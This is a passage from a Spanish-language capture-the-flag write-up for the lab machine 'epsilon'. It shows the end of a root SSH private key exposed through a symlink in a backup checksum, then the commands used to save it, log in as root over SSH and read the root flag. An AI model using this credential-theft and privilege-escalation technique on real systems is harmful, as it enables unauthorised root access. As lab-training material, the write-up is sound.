A1H4/kl6KmxNdVu3mfhRQ93gqQ5p0ytQhE13b8OWhdnepFriqGJHhUqRp1yNtWViqFDtM1
lzNACW5E1R2eC6V1DGyWzcKVvizzkXOBaD9LOAkd6m9llkrep4QJXDNtqUcDDJdYrgOiLd
/Ghihu64/9oj0qxyuzF/5B82Z3IcA5wvdeGEVhhOWtEHyCJijDLxKxROuBGl6rzjxsMxGa
gvpMXgUQPvupFyOapnSv6cfGfrUTKXSUwB2qXkpPxs5hUmNjixrDkIRZmcQriTcMmqGIz3
2uzGlUx4sSMmovkCIXMoMSHa7BhEH2WHHCQt6nvvM+m04vravD4GE5cRaBibwcc2XWHQAA
AMEAxHVbgkZfM4iVrNteV8+Eu6b1CDmiJ7ZRuNbewS17e6EY/j3htNcKsDbJmSl0Q0HqqP
mwGi6Kxa5xx6tKeA8zkYsS6bWyDmcpLXKC7+05ouhDFddEHwBjlCck/kPW1pCnWHuyjOm9
eXdBDDwA5PUF46vbkY1VMtsiqI2bkDr2r3PchrYQt/ZZq9bq6oXlUYc/BzltCtdJFAqLg5
8WBZSBDdIUoFba49ZnwxtzBClMVKTVoC9GaOBjLa3SUVDukw/GAAAAwQD0scMBrfeuo9CY
858FwSw19DwXDVzVSFpcYbV1CKzlmMHtrAQc+vPSjtUiD+NLOqljOv6EfTGoNemWnhYbtv
wHPJO6Sx4DL57RPiH7LOCeLX4d492hI0H6Z2VN6AA50BywjkrdlWm3sqJdt0BxFul6UIJM
04vqf3TGIQh50EALanN9wgLWPSvYtjZE8uyauSojTZ1Kc3Ww6qe21at8I4NhTmSq9HcK+T
KmGDLbEOX50oa2JFH2FCle7XYSTWbSQ9sAAADBAOD9YEjG9+6xw/6gdVr/hP/0S5vkvv3S
527afi2HYZYEw4i9UqRLBjGyku7fmrtwytJA5vqC5ZEcjK92zbyPhaa/oXfPSJsYk05Xjv
6wA2PLxVv9Xj5ysC+T5W7CBUvLHhhefuCMlqsJNLOJsAs9CSqwCIWiJlDi8zHkitf4s6Jp
Z8Y4xSvJMmb4XpkDMK464P+mve1yxQMyoBJ55BOm7oihut9st3Is4ckLkOdJxSYhIS46bX
BqhGglrHoh2JycJwAAAAxyb290QGVwc2lsb24BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Observamos que al abrir el checksum, ya no es un sha1 del archivo tar original, sino la id_rsa de root debido al symlink. Con esto ahora solo falta copiarnosla y darle el privilegio 600 y entrar con ssh:

1
2
3
4
nano id_rsa
chmod 600 id_rsa

ssh -i id_rsa root@10.10.11.134
1
2
root@epsilon:~# whoami
root

Hemos logrado entrar como el usuario root, vamos a buscarla la flag:

1
2
root@epsilon:~# cat /root/root.txt
fadbe3960616546fc32f5a2

¡Listo! Hemos terminado la máquina.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.